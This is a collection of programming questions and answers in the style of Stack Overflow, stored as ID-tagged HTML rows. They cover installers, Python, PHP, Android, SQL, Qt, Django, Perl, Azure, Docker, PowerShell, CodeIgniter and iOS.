310246	0	Installer for .NET 2.0 application for Windows 98 <p>How can an automatic installer for .NET 2.0 application be created for Windows 98? </p> <p>I mean for application and also for .NET 2.0 if missing.</p> <p>I tried to do it by creating a setup project for Visual Studio 2008, but I didn't succeed. I installed IE6 SP1 manually, but Installer still crashed. Windows Installer 2.0 is installed. It's impossible to install Installer 3.0 there. I unchecked Installer at Setup Project prerequisites, but still it's not possible to install the application - the error message says that it requires a newer version of Windows.</p> <p>How can this be resolved?</p>
39898076	0	Configuration Symfony3 with netbeans <p>I would like to know if netbeans support Symfony 3.1.0? If any one have an idea which version of netbeans should'i use. Thanks </p>
28925917	0	 <p>In python <strong>2.X</strong> <code>print</code> is a <em>statement</em> not a function. Accordingly, this is not supported by <code>lambda</code> functions. In python 3, however, <code>lambda x: print(x)</code> works since <code>print</code> is a function. You could also try to import the new <code>print</code> functionality in python 2.X:</p> <pre><code>from __future__ import print_function f = lambda x: print(x) f(4) </code></pre> <p>which prints <code>4</code>.</p>
16922776	0	Encoding wildcarding, stemming, etc in simple search <p>We have a simple search interface which calls the search:search($query-text) function. Is there a syntax to include control for wildcarding, stemming and case sensitivity within the single text string that the function accepts? I haven't been able to find anything in the MarkLogic docs.</p>
15331724	0	stream context for custom stream wrappers <p>In the code snippet that follows this paragraph I'm creating a stream wrapper called test using the Test_Stream object. I'm trying to use stream context's with it and have a few questions. First here's the code:</p> <pre><code>&lt;?php class Test_Stream { public $context; public function __construct() { print_r(stream_context_get_options($this-&gt;context)); exit; } } $context = array( 'test' =&gt; array('key' =&gt; 'value'), 'otherwrapper' =&gt; array('key' =&gt;'value') ); $context = stream_context_create($context); stream_wrapper_register('test', 'Test_Stream'); $fp = fopen('test://www.domain.tld/whatever', 'r', false, $context); </code></pre> <p>So right now, in that code snippet, Test_Stream is being registered to the 'test' stream wrapper but... what if I didn't know in advance what the wrapper name would be or what if I wanted to leave it up to the developer to decide. How would you know what the wrapper name was in the class? Seems like you'd have to know it in advance to get the appropriate context options (unless you just assume that the first context option array is the correct one) but what if you weren't going to know it in advance?</p>
25004221	0	 <p>Your question and code does not help.</p> <p>In your code it seems you are trying to use Speech to Text(Audio recorder), and you are calling it using TTS (Text to Speech) which does exactly the opposite of what you are trying to accomplish i.e. speech to text.</p> <p>Can you make it a bit more clear what you are trying to do??</p>
39261950	0	 <p>you may check here:<a href="https://i.stack.imgur.com/Odx2F.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/Odx2F.png" alt="enter image description here"></a> and make sure that all files in Plugins/Android are set to Android here</p>
23586584	0	 <p>make it like this:</p> <pre><code> @Override public void run() { for (int i = 0; i &lt; 10000; i++) { if(i % 100) { mController.runOnUiThread(new Runnable() { public void run() { mController.triggered(i); } }); } try { Thread.sleep(1000); } catch (InterruptedException e) { e.printStackTrace(); } } } </code></pre> <p><strong>Explanation:</strong> you were previously changing an UI element from a Non-UI thread and this is not good. This code should work, BUT it is still not the recommended way to approach the problem. You should use something like a <a href="http://developer.android.com/reference/android/os/AsyncTask.html" rel="nofollow">AsyncTask</a> where you have a template method for 'background' operation (non-ui thread operation) and the 'onPostExecute' which <strong>already</strong> executes on the UI thread.</p> <p>another additional note: NEVER call <strong>Thread.sleep()</strong>; on the UI Thread (a.k.a. Main thread)</p>
39610346	0	Create a new session as a copy of another on Livy <p>I use livy to use Spark as a service. My application send some commands to livy as code, however, spark needs to initialize some variables(read some files, make some map&amp;reduce operations etc.) and this take time. This initializing part is common for all sessions. After the construction, different statements may be sent to these sessions.</p> <p>What i wonder is when livy creates a session, is it possible to copy an old session line an image or should it start everything from scratch?</p> <p>Thank you in advance.</p>
4044674	0	 <p>Use:</p> <pre><code> SELECT a.id FROM ORDERHISTORYTABLE AS a LEFT JOIN (SELECT e.EmailAddress, e.product, MAX(OrderDate) AS max_date FROM OrderHistoryTable AS e WHERE e.Product IN ('ProductA','ProductB','ProductC','ProductD') GROUP BY e.EmailAddress) b ON b.emailaddress = a.emailaddress AND b.max_date = a.orderdate AND b.product = a.product WHERE x.emailaddress IS NULL AND a.Product IN ('ProductA','ProductB','ProductC','ProductD') </code></pre>
16503853	0	 <p>declare a function and declare <code>config_map</code> as a static inside it</p> <pre><code>class MyClass { ... static std::map&lt;std::string,std::string&gt; &amp; config_map() { static std::map&lt;std::string,std::string&gt; map; return map; } }; void MyClass::SomeMethod() { ... config_map().insert(std::pair&lt;std::string,std::string&gt;("dssd","Sdd")); } std::string OtherClass::mystring = MyClass::config_map()["something"]; </code></pre> <p>now map is guarantee to be initialized.</p>
12993250	0	 <p>Assuming you understand class inheritance, I think of an Interface like a skeleton class, where the structure of a class is described but not actually written/implemented.</p> <p>Another class can then work with any class that implements a particular Interface even if it hasn't been implemented yet.</p> <p>For example, someone may create an Interface called <code>Animal</code>. Its methods maybe: <code>Talk()</code>, <code>Walk()</code> and <code>Eat()</code>. You could write a <code>Dog</code> class that implements <code>Animal</code> that prints "woof" when the <code>Talk()</code> method is called. Therefore another class will know how to work with all classes that implements the Animal interface.</p> <p><strong>UPD</strong></p> <p>A good real world example is the JDBC Database Statement Interface. This sets out a number of required properties that a database manufacturer will have to implement, such as <code>execute(String sql)</code>. Oracle will implement this differently from Postgresql. This allow the database to be swapped for another one but the user code remains the same.</p>
2257214	0	 <p>The code you mention works fine with Qt 4.6.1 and GCC 4.4.1 on Intel/Mac OS X.</p> <pre><code>$ cat a.cpp #include &lt;QtCore&gt; void foo (QMap&lt;int, QMap&lt;QString, QVector&lt;QPointF&gt; &gt; &gt; &amp;map) { map.clear(); } $ g++-4.4-fsf -c -DQT_CORE_LIB -DQT_SHARED -I/Library/Frameworks/QtCore.framework/Versions/4/Headers a.cpp -W -Wall -Werror -g -O3 -fPIC $ </code></pre> <p>So your issue is probably fixed by upgrading to Qt 4.6.1. (Unless it's a compiler target-specific bug, which seems unlikely; plus, you haven't told us what platform you're compiling on.)</p>
30613065	0	 <p>Looking at your code I think you want to show all <code>marcas</code> related to some <code>articulo</code> it via <code>product.type</code>. For this scenario I think you don't need to make any grouping, you can just find all the <code>marcas</code> you are interested in. Here is what i mean:</p> <pre><code>#in the view #add .distinct() if you get duplicates marcas = MarcasOpciones.object.filter(Productos_marca__tipo=articulo.Tipos) #in the template {% for sthelse in marcas %} &lt;li&gt;&lt;a href="#"&gt;{{ sthelse }}&lt;/a&gt;&lt;/li&gt; {% endfor %} </code></pre> <p>There is one possible drawback with this approach - we are not using the <code>|slugify</code> tag to create the match. A possible solution to this is to create <code>slug</code> fields for the both models.</p> <p>However, if that approach doesn't suit you. I advice you to move all the matching logic in the view and again send only the needed <code>marcas</code> in the template. </p> <pre><code>#in the view from django.template.defaultfilters import slugify marcas = [] for sth in productos.all(): if slugify(articulo.Tipos) == slugify(sth.tipo): for sthelse in sth.marca.all(): if sthelse not in marcas: marcas.append(sthelse) #if you need the product that match that marca #you can add it here #sthelse.product = sth </code></pre>
28480298	0	 <p>JavaScript Pure:</p> <pre><code>&lt;script type="text/javascript"&gt; document.getElementById("modal").click(); &lt;/script&gt; </code></pre> <hr> <p>JQuery:</p> <pre><code>&lt;script type="text/javascript"&gt; $(document).ready(function(){ $("#modal").trigger('click'); }); &lt;/script&gt; </code></pre> <p>or</p> <pre><code>&lt;script type="text/javascript"&gt; $(document).ready(function(){ $("#modal").click(); }); &lt;/script&gt; </code></pre>
25236837	0	 <p>if you use this code:</p> <pre><code>java.sql.Blob blob=null; blob.setBytes(1, myByte ); </code></pre> <p><code>blob</code> is null. You have to create a new Blob Object like:</p> <pre><code>Blob blob = new SerialBlob(myByte ); </code></pre> <p>and then you can store it.</p>
39404570	0	Understanding lexical scoping of "use open ..." of Perl <pre><code>use open qw( :encoding(UTF-8) :std ); </code></pre> <p>Above statement seems to be effective in its lexical scope only and should not affect outside of it's scope. But I have observed the following.</p> <pre><code>$ cat data € </code></pre> #1 <pre><code>$ perl -e ' open (my $fh, "&lt;encoding(UTF-8)", "data"); print($_) while &lt;$fh&gt;;' Wide character in print at -e line 1, &lt;$fh&gt; line 1. € </code></pre> <p>The <code>Wide character ...</code> warning is perfect here. But</p> #2 <pre><code>$ perl my ($fh, $row); { use open qw( :encoding(UTF-8) :std ); open ($fh, "&lt;", "data"); } $row = &lt;$fh&gt;; chomp($row); printf("%s (0x%X)", $row, ord($row)); € (0x20AC) </code></pre> <p>Does not show the wide character warning!! Here is whats going on here imo</p> <ul> <li>We are using open pragma to set the IO streams to UTF-8, including STDOUT.</li> <li>Opening the file inside the same scope. It reads the character as multibyte char.</li> <li>But printing outside the scope. The print statement should show "Wide character" warning, but it is not. Why?</li> </ul> <p>Now look at the following, a little variation</p> #3 <pre><code>my ($fh, $row); { use open qw( :encoding(UTF-8) :std ); } open ($fh, "&lt;", "data"); $row = &lt;$fh&gt;; chomp($row); printf("%s (0x%X)", $row, ord($row)); â¬ (0xE2) </code></pre> <p>Now this time since the open statement is out of the lexical scope, the <code>open</code> opened the file in non utf-8 mode.</p> <p>Does this mean <code>use open qw( :encoding(UTF-8) :std );</code> statement changes the STDOUT globally but STDIN within lexical scope?</p>
12726613	0	 <p>Windows Azure has <em>input endpoints</em> on a hosted service, which are public-facing ports. If you have one or more instances of a VM (Web or Worker role), the traffic will be distributed amongst the instances; you cannot choose which instance to route to (e.g. you must support a stateless app model).</p> <p>If you wanted to enforce a sticky-session model, you'd need to run your own front-end load-balancer (in a Web / Worker role). For instance: You could use IIS + ARR (application request routing), or maybe nginx or other servers supporting this.</p> <p>What I said above also applies to Windows Azure IaaS (Virtual Machines). In this case, you create load-balanced endpoints. But you also have the option of non-load-balanced endpoints: Maybe 3 servers, each with a unique port number. This bypasses any type of load balancing, but gives direct access to each Virtual Machine. You could also just run a single Virtual Machine running a server (again, nginx, IIS+ARR, etc.) which then routes traffic to one of several app-server Virtual Machines (accessed via direct communication between load-balancer Virtual Machine and app server Virtual Machine).</p> <p>Note: The public-to-private-port mapping does not let you do any load-balancing. This is more of a convenience to you: Sometimes you'll run software that absolutely has to listen on a specific port, regardless of the port you want your clients to visit.</p>
8801214	0	 <p>the benifit of making string as immutable was for the security feature. Read below</p> <p>Why String has been made immutable in Java?</p> <p>Though, performance is also a reason (assuming you are already aware of the internal String pool maintained for making sure that the same String object is used more than once without having to create/re-claim it those many times), but the main reason why String has been made immutable in Java is 'Security'. Surprised? Let's understand why.</p> <p>Suppose you need to open a secure file which requires the users to authenticate themselves. Let's say there are two users named 'user1' and 'user2' and they have their own password files 'password1' and 'password2', respectively. Obviously 'user2' should not have access to 'password1' file.</p> <p>As we know the filenames in Java are specified by using Strings. Even if you create a 'File' object, you pass the name of the file as a String only and that String is maintained inside the File object as one of its members.</p> <p>Had String been mutable, 'user1' could have logged into using his credentials and then somehow could have managed to change the name of his password filename (a String object) from 'password1' to 'password2' before JVM actually places the native OS system call to open the file. This would have allowed 'user1' to open user2's password file. Understandably it would have resulted into a big security flaw in Java. I understand there are so many 'could have's here, but you would certainly agree that it would have opened a door to allow developers messing up the security of many resources either intentionally or un-intentionally.</p> <p>With Strings being immutable, JVM can be sure that the filename instance member of the corresponding File object would keep pointing to same unchanged "filename" String object. The 'filename' instance member being a 'final' in the File class can anyway not be modified to point to any other String object specifying any other file than the intended one (i.e., the one which was used to create the File object).</p>
23428390	0	How to send file from AJAX to remote FTP directly? <p>I would like to send file(s) with xhr from the user browser to remote FTP server without saving file to my server. </p> <p>Is it possible? How can I do it? I am using PHP backend.</p>
19490989	0	ASP.NET WebForms with Angular Postback <p>im trying to use Angular framework in existing ASP.NET WebForms application and problem i ran into is this:</p> <p>Client side code:</p> <pre><code>&lt;select id="fooSelect" class="span8" runat="server" clientidmode="Static"&gt; &lt;option ng-repeat="foo in foos" value="{{foo.Id}}"&gt;{{foo.Title}}&lt;/option&gt; &lt;/select&gt; </code></pre> <p>When form gets submited (whole page postback), value of <code>fooSelect.Value</code> is <code>"{{foo.Id}}"</code></p> <p>How to get value of selected option on server side?</p>
39582650	0	How do I bind alpaca.js to an existing HTML form <p>I have an existing form in plain HTML with a lot of css and layout tweaks. I'm trying to figure out if I can use alpaca.js without the rendering step but still get the full power of the schema and validation capabilities. I looked at Views, Layouts, Templates, etc. within the docs, and was either blind (probably) or just making some bad assumptions, but there didn't seem to be a simple way to declare <code>schema-property-FOO</code> should be bound to <code>#html-element-BAR</code>. It seems like something that would be mapped out in the <code>options</code> section of my alpaca declarations, but no luck (that I saw).</p> <p>Essentially I want all the alpaca goodness without the rendering step. Is that possible, or square-peg/round-hole thinking?</p> <p>Thanks for any guidance.</p>
29048621	0	android app data not appearing on parse dashboard <p>I'm trying to make a new social app. I went parse.com and made a new app. downloaded the zip file and opened it in the android studio. after that i initialized my keys and compiled the code. It gave no errors and loaded the app on the emulator. Then i added the code to add new user to the database and ran the app. All went ok and log cat didn't give me any errors but when i pressed the test button to check if data got added in the cloud or not but it said "no data yet". yes i did initialize the keys right and my manifest file does include internet permission. Can anyone please tell me whats wrong? I copied all this code from parse</p> <pre><code>public class ParseStarterProjectActivity extends Activity { /** Called when the activity is first created. */ public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); ParseUser user = new ParseUser(); user.setUsername("my name"); user.setPassword("my pass"); user.setEmail("email@example.com"); // other fields can be set just like with ParseObject user.put("phone", "650-555-0000"); user.signUpInBackground(new SignUpCallback() { public void done(ParseException e) { if (e == null) { // Hooray! Let them use the app now. } else { // Sign up didn't succeed. Look at the ParseException // to figure out what went wrong } } }); ParseAnalytics.trackAppOpenedInBackground(getIntent()); } } </code></pre>
39681101	1	Text arbitrarily not reading into buffer <p>I'm trying to analyze philosophical and classic texts with the Watson Alchemy API, I'm having trouble with reading texts from a .txt file on my computer to a python variable.</p> <p>Here is the code:</p> <pre><code>from __future__ import print_function from alchemyapi import AlchemyAPI import argparse import json def conceptual(fileName): path = "/Users/myname/Desktop/texts/" name = path + fileName with open(name, 'r') as myfile: data=myfile.read().replace('\n', ' ') if data != None: print(data) def main(): parser = argparse.ArgumentParser() parser.add_argument('--concepts', dest = 'conceptFile', required = False) args = parser.parse_args() if args.conceptFile: conceptual(args.conceptFile) else: print('Use CL args.') main() </code></pre> <p>The issue is that for some texts it works fine: The entire .txt file prints out onto the terminal window. For others it prints something like this(for all the files that aren't working the output is very similar to this):</p> <pre><code>. THE ENDy mountains. glowing and strong, like a </code></pre> <p>The end of that particular file (Zarauthstra_Nietzsche.txt) is </p> <pre><code> Thus spake Zarathustra and left his cave, glowing and strong, like a morning sun coming out of gloomy mountains. THE END </code></pre> <p>But the rest of the file doesn't print.</p> <p>I've been tinkering around with various differences, tweaking it here and there, but the only common thread to those that don't work seem to be that I downloaded them from a different website (<a href="http://philosophy.eserver.org/texts.htm" rel="nofollow">http://philosophy.eserver.org/texts.htm</a> not Project Gutenberg). I've tried changing the file's path, the contents, the permissions, the filenames. Any ideas?</p>
25074763	0	Docker container get Host IP address <p>How do I get the Host IP address within an Java application running inside a Docker?</p> <p>Obviously, if I use the traditional InetAddress.getLocalHost(), it works if the Java program runs directly on the Host. However, if it is running inside a container, then it would not be the physical ip address outside world sees the host.</p> <p>My use case is that my Java application registers itself as a service provide by inserting into a shared registry (like a database table) with informations like service name, ip address and port number so that others can find and invoke the service.</p> <p>Someone mentioned the only way is through run --env when you start the container, but how do my Java program gets it? If I have a way to retrieve it from Java, that would work though it looks ugly .....</p>
18251594	0	 <p>You need to add a column, e.g. "label" to the node import file, and give numbers according to how you want to "group the nodes into one color". And then you can select to color the nodes via your new column.</p>
30675367	0	 <p>The best way to do this is my using the <code>set()</code> function like this:</p> <pre><code>x=['a','b','a','b','c','d'] print list(set(x)) </code></pre> <p>As the <code>set()</code> function returns an unordered result. Using the <code>sorted()</code> function, this problem can be solved like so:</p> <pre><code>x=['a','b','a','b','c','d'] print list(sorted(set(x))) </code></pre>
36524642	0	 <pre><code>while( someOuterLoopCondition ) { var m = 0; var innerLoopOK = true; while( innerLoopOK ) { try { // your original inner-loop body goes here } catch e { innerLoopOK = false; } m++; } } </code></pre> <p>Or:</p> <pre><code>while( someOuterLoopCondition ) { for( var m = 0; m &lt; upperBound; m++ ) { try { // your original inner-loop body goes here } catch e { break; // breaks inner-loop only } } } </code></pre>
11147440	0	 <p>In the C++ code you are translating to C#, look for a macro definition or inline function definition for <code>SIGN</code>. The definition should spell out exactly how you should implement it in C#.</p> <p>If I had to guess from the name, <code>SIGN(x,y)</code> returns true if <code>x</code> and <code>y</code> have the same sign, and false otherwise.</p>
1062289	0	 <p>Got it.<br> 1-Go to design view of your table.<br> 2-select the look-up tab bellow the field list.<br> 3-Change row source type to "values".</p>
34122801	0	 <p>I think this is what you want:</p> <pre><code>dat[ , `:=`(var1 = var[1L], var2 = var2[1L]), by = .(id, year)] </code></pre> <p>As a function you'd have to do something like:</p> <pre><code>fn_const &lt;- function(data, id, year, constant){ data[ , (constant) := .SD[1L], by = c(id, year), .SDcols = constant] data } </code></pre> <p>Note that this won't assign to <code>dat</code>, so you'll have to use something like <code>dat &lt;- fn_const(...)</code>, which is probably not ideal (making copies). Instead, why not eliminate <code>data</code> as an argument:</p> <pre><code>fn_const&lt;-function(id, year, constant){ dat[ , (constant) := .SD[1L], by = c(id, year), .SDcols = constant] } </code></pre> <p>Now simply running <code>fn_const(id, year, constant)</code> will assign <code>constant</code> by reference to <code>dat</code> with no copies necessary.</p> <p>TBH I don't really see any benefit of writing this as a function in the first place, except maybe to save space if you plan on doing this over and over.</p>
12529450	0	validation for models in ruby on rails <p>I have a model:</p> <pre><code>class HelloRails &lt; ActiveRecord::Base attr_accessible :filename, :filevalidate include In4systemsModelCommon validates :filename, presence: true def update parameters = [self.filename, @current_user] parameters.map!{|p| ActiveRecord::Base.connection.quote p} sql = "call stored_procedure(#{parameters.join(',')})" ActiveRecord::Base.connection.execute(sql) end end </code></pre> <p>In the view I have a <code>text_field</code> called as <code>:filename</code>. When I click the submit button it calls this update method in model to call the stored proc to execute. Now validations are not working. </p> <p>I dont want to accept <code>nil</code> for filename. How can I do this?</p>
36635821	0	 <p>Ok, on your second question, exporting and importing passwords, the encryption is done per user (and I'm pretty sure per machine), so you can't export it, and then have another account import it, but for just straight saving an encrypted password you can use these functions:</p> <pre><code>Function Out-EncryptedPasswordFile{ [cmdletbinding()] Param( [Parameter(Mandatory = $true)] [string]$Password, [Parameter(Mandatory = $true)] [ValidateScript({If(Test-Path (Split-Path $_)){$true}else{Throw "Unable to create file, directory '$(Split-Path $_)\' does not exist."} })][String]$Path ) ConvertTo-SecureString -AsPlainText $Password -Force | ConvertFrom-SecureString | Set-Content $Path -Encoding Unicode } #Usage Example #Out-EncryptedPasswordFile TestP@ssw0rd c:\temp\password.txt Function Import-EncryptedPasswordFile{ [cmdletbinding()] Param( [Parameter(Mandatory = $true)] [ValidateScript({Test-Path $_})][string]$Path ) $SSPassword = Get-Content $Path | ConvertTo-SecureString $Ptr = [System.Runtime.InteropServices.Marshal]::SecureStringToCoTaskMemUnicode($SSPassword) [System.Runtime.InteropServices.Marshal]::PtrToStringUni($Ptr) [System.Runtime.InteropServices.Marshal]::ZeroFreeCoTaskMemUnicode($Ptr) } #Usage Example #Import-EncryptedPasswordFile C:\temp\password.txt </code></pre>
5149574	0	Deploy two connected webparts in a page layout during feature activation? <p>I've implemented 2 webparts (deriving from Microsoft.SharePoint.WebPartPages.WebPart, the WSS 3 WebPart), one of which is a provider and the other the consumer (implementing ASP.net connection model, with <em>ConnectionProviderAttribute</em> and <em>ConnectionConsumerAttribute</em> methods).</p> <p>I managed to deploy them in a feature which also deploys a Page Layout containing two webpart zones, which are themselves populated during the FeatureAvtivated method of the feature receiver, with the 2 newly created webparts. All of this works just fine.</p> <p>For information, I used <a href="http://vspug.com/michael/2009/05/25/manage-webparts-of-page-layouts-through-a-feature-resolving-the-quot-alluserswebpart-quot-pain/" rel="nofollow">this link</a> to make it work. Beware, the method using <em>AllUsersWebPart</em> tag in <em>elements.xml</em>, shown in links like this one (http://www.andrewconnell.com/blog/archive/2007/10/07/Having-Default-Web-Parts-in-new-Pages-Based-Off-Page.aspx) work, but if you deactivate, then reactivate your feature, you just have double webparts in your future pages based on the layout. The method described here (http://sharepoint.coultress.com/2008/06/adding-web-part-to-page-layout.html) just threw me an error when analysing metadata for the layout aspx file (the problem seemed to come from the line in the ZoneTemplate tag).</p> <p>My next goal is to connect these webparts together right after all this, thus enabling the end user to create pages, based on the layout, containing <strong>by default</strong> the two webparts <strong>connected</strong> together (right now everything works except for the <em>connected</em> part).</p> <p>I tried something like <a href="http://vspug.com/jason/2007/06/21/how-to-connect-web-parts-programmatically-in-wss-3/" rel="nofollow">this</a>, using ASP.net connection model (the other one, WSS model, throws logically an error because I'm not implementing the good interfaces). But even though the connection resulting from the "mgr.SPConnectWebParts()" method doesn't throw any exception and actually adds the connection to the connection list of the webpart manager, I can see in debug mode that the connection property 'IsActive" is false (maybe normal), and that when I create a new page based on the layout, the webparts appear not connected.</p> <p>Any guess? I believe there's something with the fact that the webparts cannot be connected before the page containing them is actually created, but I'm far from sure of it.</p>
23132430	0	 <p>Could it be something simple like this:</p> <pre><code> query = em.createNativeQuery("SELECT state_id, state_name, country_id FROM state_table,country WHERE state_table.country_id=country.country_id and country.country_name = ?1)").setParameter(1, country_name); list = (List&lt;Object&gt;) query.getResultList(); </code></pre> <p>where country_name is the parameter you are searching for and list is the list of objects returned by the native query?</p>
25405010	0	Getting the current call stack from a different thread <p>In a multiple thread situation, is it possible to get the call stack at the current moment inside some thread <code>t1</code> from another thread <code>t2</code> running outside of <code>t1</code>? If so, how?</p> <p><hr></p> <h3>Response to Stefan:</h3> <p>I tried:</p> <pre><code>def a; b end def b; c end def c; d end def d; sleep(1) end t1 = Thread.new do 100.times{a} end p t1.backtrace </code></pre> <p>but it always returns an empty array <code>[]</code>.</p> <p><hr></p> <h3>Edit:</h3> <p>Following suggestions by Stefan, the following parameters worked for my computer:</p> <pre><code>def a; b end def b; c end def c; d end def d; end t1 = Thread.new do 1000.times{a} end sleep(0.0001) p t1.backtrace </code></pre> <p>It returns a random call stack with the top-most method varying around <code>a</code> to <code>d</code>.</p>
6292749	0	Rails: Can't run DB Rake on OS X 10.6 because gem SQL lite cannot be found <p>Here's my error message when I do a DB rake:</p> <blockquote> <p>Could not find gem 'sqlite3 (>= 0)' in any of the gem sources listed in your Gemfile.</p> </blockquote> <p>I've tried Installing xCode 4.0.2</p> <p>Commands: </p> <pre><code>sudo gem install sqlite3-ruby sudo gem update --system sudo gem update rails sudo gem update sqlite3-ruby </code></pre> <p>Gem list produces: </p> <pre><code>abstract (1.0.0) actionmailer (3.0.8, 2.2.2) actionpack (3.0.8, 2.2.2) activemodel (3.0.8) activerecord (3.0.8, 2.2.2) activeresource (3.0.8, 2.2.2) activesupport (3.0.8, 3.0.6, 2.2.2) arel (2.0.10) builder (2.1.2) bundler (1.0.14) erubis (2.6.6) i18n (0.5.0) mail (2.2.19) mime-types (1.16) polyglot (0.3.1) rack (1.2.3) rack-mount (0.6.14) rack-test (0.5.7) rails (3.0.8, 2.2.2) railties (3.0.8) rake (0.9.2, 0.8.3) rubygems-update (1.8.5, 1.8.4, 1.3.1) thor (0.14.6) treetop (1.4.9) tzinfo (0.3.27) </code></pre> <p>Any suggestions? I'm on Max OS X 10.6 </p>
40403922	0	ionic2 - change font attribute of .loadcontent <p>I am using <code>LoadingController</code> to manage the loading page. Below is my code:</p> <pre><code>presentLoadingCustom() { let loading = this.loadingCtrl.create({ spinner: 'hide', content: ` &lt;div padding&gt; &lt;div class="loadingheader"&gt;processing...&lt;/div &gt; &lt;/div&gt; &lt;div&gt; &lt;p&gt; Verifying your mobile phone number &lt;/p&gt; &lt;p&gt;`+ " 011 232 43146" + ` &lt;/p&gt; &lt;p&gt; Please wait &lt;/p&gt; &lt;/div&gt; `, duration: 100000 }); </code></pre> <ol> <li><p>How can I change the font size of <code>loadheader</code>? I tried add <code>css</code> code in <code>scss</code> file of the same page but fail.</p></li> <li><p>How to put spinner at the position I wanted? Say I want to put between <code>loadheader</code> and my other text. Currently it is at the right of all my text.</p></li> </ol>
16921721	0	 <p>Your solution is not so bad. The queuing of the HTTP requests is really a standard thing to do, so that should not be a big problem. </p> <p>Just do <em>not</em> use the objectIDs on your server. They are really unique to the database on one particular device. Their main purpose is to identify managed objects across different managed object contexts. Instead us your own id, maybe a server generated one that is authoritative. </p> <p>The obvious "elegant" alternative is to use Apple's integration of iCloud with Core Data. Then you have to do absolutely nothing on the server side. The drawback is that you cannot access the user info (which might be desired). The much more significant drawback (showstopper) is that it does not work reliably (see my SOF question <a href="http://stackoverflow.com/questions/14478517/more-icloud-core-data-synching-woes">here</a>). </p>
19664291	0	 <p>Something like:</p> <pre><code>SELECT col1, col2, col3 FROM ( SELECT *,1 AS SortCol FROM tbl_post WHERE paid_until &gt;= :time_stamp UNION SELECT *,2 AS SortCol FROM tbl_post WHERE paid_until &lt; :time_stamp )AS sub ORDER BY SortCol, modified DESC </code></pre>
31954787	0	ngAnimate doesn't work with ngShow/ngHide: ng-hide-add and ng-hide-remove classes are not generated <p>I am trying to animate the ng-hide/ng-show directive and for some reasons none of the ng-hide-add*/ng-hide-remove* classes are not generated. ng-animate class is not generated as well. I do have the 'ngAnimate' as a dependency for my module (if i type "angular.module('ngAnimate')" in Chrome console I get an Object). I removed the classNameFilter ($animateProvider.classNameFilter(/xyz/)). What else should I look for? I am working on a huge project and I don't know what other settings/configurations might be in place. Version of angular used is 1.4.3 Version of angular-animate used is 1.4.3</p> <p>I debugged ngAnimate and:</p> <ul> <li>function areAnimationsAllowed always returns false because</li> <li>rootElementDetected is always false because</li> <li>$rootElement is : &lt;!-- uiView: --&gt; instead of &lt;div ng-app="myApp" ui-view class="ng-scope"&gt;</li> </ul> <p>Is that a known issue?</p> <p>Thank you in advance!</p>
9107856	0	Problems with svd in java <p>I have gone through jama and colt(I code in java) . Both of them expect me to use arrays such that the number of rows are more than the number of coloumns . </p> <p>But in case of the Latent semantic analysis (LSA) i have 5 books and there are a total of 1000 odd words . When i use a term document matrix i get a 5*1000 matrix.</p> <p>Since this does not work , i am forced to transpose the matrix . On transposing i use a 1000 * 5 . With a 1000*5 when i perform a svd i get a S matrix with 5*5 . To perform dimensionality reduction this the 5*5 matrix looks small . </p> <p>What can be done ? </p>
20620272	0	how to retrieve codeigniter's cookie using javascript? <p>In my codeigniter's controller I have the following code:</p> <pre><code>$cookie = array( 'name' =&gt; 'my_name', 'value' =&gt; 'my value goes here' ); $this-&gt;input-&gt;set_cookie($cookie); </code></pre> <p>However, when I tried to retrieve the cookie using javascript's document.cookie, it printed strings like cookie_name, csrf_cookie_name but not my_name and 'my value goes here'. Why?</p> <p>Note: if I use the php function setcookie('my_name', 'my value goes here') then it works fine, it just I can't make it work with codeigniter's cookie helper.</p>
24067521	0	 <p>The origin should be half the width and height of the item that you're rotating if you wish to rotate it about its centre. Note that the dot is not the true origin; I've tweaked your code a bit:</p> <pre><code>import QtQuick 2.0 Rectangle { id: dial width: 360 height: 360 color: "gray" Rectangle { id: dot height: 5 width: 5 color: "red" anchors.centerIn: parent z: 1 } Rectangle { id: line height: 5 width: 50 anchors.horizontalCenter: parent.horizontalCenter anchors.verticalCenter: parent.verticalCenter transform: Rotation { origin.x: line.width / 2 origin.y: line.height / 2 angle: 40 } } } </code></pre> <p><img src="https://i.stack.imgur.com/Zy6VK.png" alt="rotated line"></p> <p>Or, if you want to get even simpler:</p> <pre><code>import QtQuick 2.0 Rectangle { id: dial width: 360 height: 360 color: "gray" Rectangle { id: line height: 5 width: 50 anchors.centerIn: parent rotation: 40 } Rectangle { id: dot height: 5 width: 5 color: "red" anchors.centerIn: parent } } </code></pre>
31135595	0	 <p>Adding <code>Message.framework</code> to your project and Get <code>IMEI</code> Number,</p> <pre><code>NetworkController *ntc = [NetworkController sharedInstance]; NSString *imeistring = [ntc IMEI]; </code></pre> <p>Apple allow some of the details of device, Not give IMEI, serial Number. in <code>UIDevice</code> class provide details.</p> <pre><code>class UIDevice : NSObject { class func currentDevice() -&gt; UIDevice var name: String { get } // e.g. "My iPhone" var model: String { get } // e.g. @"iPhone", @"iPod touch" var localizedModel: String { get } // localized version of model var systemName: String { get } // e.g. @"iOS" var systemVersion: String { get } // e.g. @"4.0" var orientation: UIDeviceOrientation { get } // return current device orientation. this will return UIDeviceOrientationUnknown unless device orientation notifications are being generated. @availability(iOS, introduced=6.0) var identifierForVendor: NSUUID! { get } // a UUID that may be used to uniquely identify the device, same across apps from a single vendor. var generatesDeviceOrientationNotifications: Bool { get } func beginGeneratingDeviceOrientationNotifications() // nestable func endGeneratingDeviceOrientationNotifications() @availability(iOS, introduced=3.0) var batteryMonitoringEnabled: Bool // default is NO @availability(iOS, introduced=3.0) var batteryState: UIDeviceBatteryState { get } // UIDeviceBatteryStateUnknown if monitoring disabled @availability(iOS, introduced=3.0) var batteryLevel: Float { get } // 0 .. 1.0. -1.0 if UIDeviceBatteryStateUnknown @availability(iOS, introduced=3.0) var proximityMonitoringEnabled: Bool // default is NO @availability(iOS, introduced=3.0) var proximityState: Bool { get } // always returns NO if no proximity detector @availability(iOS, introduced=4.0) var multitaskingSupported: Bool { get } @availability(iOS, introduced=3.2) var userInterfaceIdiom: UIUserInterfaceIdiom { get } @availability(iOS, introduced=4.2) func playInputClick() // Plays a click only if an enabling input view is on-screen and user has enabled input clicks. } </code></pre> <p>example : <code>[[UIDevice currentDevice] name];</code></p>
